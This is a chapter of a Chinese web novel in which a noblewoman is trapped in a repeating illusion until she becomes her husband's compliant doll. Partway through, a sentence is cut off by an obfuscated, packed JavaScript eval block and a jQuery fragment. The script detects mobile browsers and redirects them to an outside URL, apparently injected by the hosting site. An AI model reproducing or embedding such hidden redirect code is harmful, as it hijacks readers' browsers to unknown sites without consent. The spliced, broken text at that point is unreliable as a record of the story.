57. 第 57 章

    “夫人!夫人!”


    明夷紧紧搂住状若癫狂的纪景佳,高声唤着她的名字。


    “月儿!”


    可纪景佳沉浸在无边的恐慌之中,根本就听不进去,紧紧抓着他的臂膀不停地哀求。


    “救救他们啊!求你...”


    “求你...”


    “好好好,我去救!我去救!”


    明夷虽不知她想要救谁,无奈眼下也只得先应承下来,她如今这副样子,哪怕是刀山火海也是要去一趟的。


    如愿听到了肯定的答复,纪景佳终于慢慢平复下来,颤声问道:“真的吗?”


    揽了她入怀中坐好,明夷向站在一旁的素雪递了个询问的眼神,素雪摇了摇头。


    动了动身子,选了个舒服些的姿势,纪景佳推了推明夷的胳膊,催促他:“什么时候动身?”


    “与其催我快快动身,夫人不如先于我说说要我去救谁?”明夷揽着人有一下没一下地轻轻拍着她的背。


    “去救那些还活着的人呀?我记得好多人都死了,到处都是死人!太可怕了!”


    “还活着的人?”


    明夷挑了挑眉,继续追问:“何处都是死人?”


    “我...我看到一座空城,到处都是腐烂的尸身,一定还有活人的!你相信我!”


    “夫人应是做梦魇着了,近年来风调雨顺政通人和,并没有何处,嗯,如此大范围的死过人。”


    “不,我真的......”


    指尖一痛,纪景佳挣扎着睁开了双眼,眼角滑下两行清泪。


    “下官一会开个安神的方子,两碗水文火煎成一碗,服下便可无碍,切忌忧思过重,外出散散心也好。”


    “有劳。”


    随即一双纤手挽起床幔挂了起来,惊喜道:“夫人醒了!”


    纪景佳侧目看了过去,她记得,这个活泼些的,是青霜。


    “夫人可算是醒了,不然这太医院的太医都得来咱们府上一趟不可,”青霜喜滋滋地蹲坐在脚踏上叽叽喳喳,突然住了口,起身小跑着过去端来燃着的安神香,搁置在床头,“夫人可要传菜?都备着呢。”


    清甜的味道飘散开来,呼吸间全是这味道,纪景佳不是很喜欢,但也谈不上讨厌。


    驳杂的记忆令她头昏脑胀,一点胃口也无,她只是有些话想问明夷,问问他先前的馄饨、花舫与......


    这个念头刚起,明夷就推门走了进来,温热的手搭在她额头上摸了摸,“热退了,高太医的针法果然高绝!”


    纪景佳闻言脱口而出:“姚玉璃的针法才叫一绝呢!”


    说完了就觉得有些莫名,她好像从未见过姚玉璃施针,又怎会知晓他的针法如何呢?


    “素雪去熬药了,一会就好了,夫人先用点清粥垫一垫吧。”明夷脸上依旧是挂着与先前一模一样的笑。


    先前被遗忘的恐惧铺天盖地席卷而来,纪景佳攥紧了手,这才惊觉掌心早已全是冷汗,看着明夷又说了一遍:“姚玉璃的针法才叫一绝呢!”


    纪景佳仔细地观察着明夷的表情,周遭诡异的安静了下来,静到她甚至能听见自己剧烈的心跳。


    明夷的神情丝毫未变,还是那副笑容,语调也无波动起伏,好似完全听不见她的话一样。


    “夫人先用点清粥垫一垫吧。”


    “我说!姚玉璃的针法......”


    指尖一痛,纪景佳再次睁开了眼睛。


    那道苍老的声音也再次响起:“下官一会开个安神的方子,两碗水煎成一碗,服下便可无碍,切忌忧思过重,外出散散心也好。”


    “有劳。”


    她静静地躺着,等着青霜来撩开床幔。


    与之前所发生的一致,无论她与明夷说什么,都会得来那一句:“夫人先用点清粥垫一垫吧。”


    若是不接明夷的话,一直讲其他的,很快就会先痛上一回,再次睁开双眼,而后听见那道苍老的声音。


    循环往复。


    努力多次依旧改变不了什么,十指连心,纪景佳不想再挨一遍那痛楚了。


    于是,第六次的时候纪景佳试着顺从他。


    在明夷说出那句:“夫人先用点清粥垫一垫吧。”的时候,重重地点头,应了声:“好。”


    终于,来了些不一样的。


    眼前是一碗撒了些许盐巴的咸粥,上头漂浮着点点香油,一旁还有几碟清淡的时蔬小菜。


    看起来卖相很不错,闻着也是它们应该有的味道,清香扑鼻。


    吃起来却没滋又没味,酸萝卜块被纪景佳嚼出脆响,她却感觉自己在嚼一小团棉絮一样,吞咽都困难。


    余光瞥向了端坐在一旁的明夷,他什么也没做只是静静地坐着,目光柔和地看她夹菜。


    实在是太难以下咽,纪景佳放下了汤匙,猛地心里一紧,有些不妙的预感,立即又把汤匙捏在了手中,那股莫名的感觉就不见了。


    试探着把汤匙向桌上放去,那令人寒毛直立的不妙之感就又来了。


    这是......


    让她用完这餐饭?


    纪景佳接连尝试好几次,终于放弃了,连小菜中拿来配色的鲜红碎椒都夹起来吃了。


    全部都毫无味道,且无论她嚼出何种声音,口感尽是软绵绵又嚼不烂的。


    好似,假的。


    这一餐用的她筋疲力尽,却没有给她带来哪怕一丁点的饱腹感。


    素雪端来一碗黑漆漆的汤药,这药不仅看起来苦,闻起来更是苦,纪景佳屏住呼吸试了一口,那般浓烈的苦味入口之后依旧尝不出味道,饮水一般。


    一气喝了个干净,空碗仍旧散发着令人窒息的苦味。


    纪景佳心中有了些推断,只待再验证一番。


    明夷接过瓷碗,满眼心疼地捏起一块蜜饯递到她唇边:“夫人受苦了,这是巷尾那家糖铺的,素日里你最是喜欢了。”


    垂眸看向了他指尖的蜜饯,上头裹满了细密的糖丝,纪景佳已经闻到了香甜之味,颔首启唇吃了那块蜜果,依旧味同嚼蜡。


    确实如她所想,只能闻得到,看得见,却尝不出味道,是味觉失灵还是......


    按照方才的直觉,若是她强行放下碗筷,恐怕会直接重头再来,纪景佳实在是不想再循环往复了,囫囵咽下口中不知滋味的蜜饯,等着他的接下来的动作。


    两日不到,她就琢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046308|169597||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    磨出了自己的身份。


    傀儡。


    不,说是得明夷无比珍爱的人偶更为贴切些。


    他想要纪景佳是什么样子,她就须得什么装扮,他想要纪景佳给他什么回应,她就要给什么回应。


    偶尔会错了意,倒也不会得来什么责罚,只是会循环往复,直到纪景佳给出了他满意的回应为止。


    纪景佳真的怕极了一遍又一遍无尽的重复,只好把所有的心神都用在了揣摩明夷想要什么样的回应,生怕错了一点就被拉入那个诡异的循环。


    如此,她渐渐忘记了自我,只紧紧盯着明夷的一言一行,然后思考出正确的答案,给出她应该给的回应。


    今日阴雨绵绵,二人依偎在廊前赏雨。


    纪景佳不喜欢这种潮湿的感觉,但明夷很想她陪着,就只好裹紧了披肩窝进他的怀里,尽可能的远离雨幕。


    她望着黑沉沉的天,竟然生出一种这样也还不错的错觉来。


    明明院中的果子还未摘,竟然落了雪下来,一问才知,已经小年了。


    纪景佳记不起来这些日子都是怎么过的,怎么突然就到了年根了呢?


    地龙烧得很旺,屋内温暖如春,纪景佳只着了中衣蜷在软榻上翻书看。


    “夫人在看什么?”


    明夷站在门前解了大氅,拎着抖了抖雪,交给了一旁的青霜。


    “昨日新送来的杂谈,”纪景佳合起书页,拿在手中扬起来给他看了看书名,“喏,灵怪异志集。”


    明夷身着亲王制式的官服,利落大方,瞧着更是身姿挺拔,威严无双,却屈膝半跪在榻前给她扯了扯翻卷起来的衣角,盖住了一截细腰,眼角眉梢都挂着笑,扬声问:“好看?”


    “嗯,还蛮新奇的,很多传说之中才有的神物都有配绘图和详解,”纪景佳坐起了身,放下书卷,向里侧挪了挪,拍了拍身边的空位,“外头霜雪寒天,先歇歇吧。”


    明夷对她这番关心的话语很是受用,应了声,站起身来解扣子。


    素雪上前来想搭把手,被他挥退了。


    纪景佳好似训练有素一般,马上趿上绢鞋下来帮他解对襟的扣子,柔声问他:“今日怎得回来这样早?”


    略有些冰凉的手滑过她的面颊,把垂下来的碎发掖在了耳后,“朝中无事,早早就退朝了。”


    只用一个眼神,纪景佳就能领会他的意思,柔顺地躺进他怀里。


    “夫人方才看到哪一页?”


    明夷翻了翻摊在矮桌上的书,在怀中人的面颊上亲了一下。


    “这里。”纪景佳探出胳膊循着记忆翻到了那一页,指着书上那只有着巨大翅膀的鸟儿。


    那鸟儿赤首黑目,身形小巧玲珑,却背负着一双巨大的翅膀,翎羽绚丽,长尾飘逸。


    书页的右下侧写着青鸟二字,底部写了几行注释,思念与牵挂,相思与情谊,自由与幸福等等。


    纪景佳的目光不由自主地被自由二字所吸引。


    晚间她就做了一个梦,梦见自己化作了白日里所见的青鸟,随风展翅,飞上了高墙。


    正欲乘风高飞,忽闻一声清鸣。


    张开了一半的巨翅拢了起来,向下看去。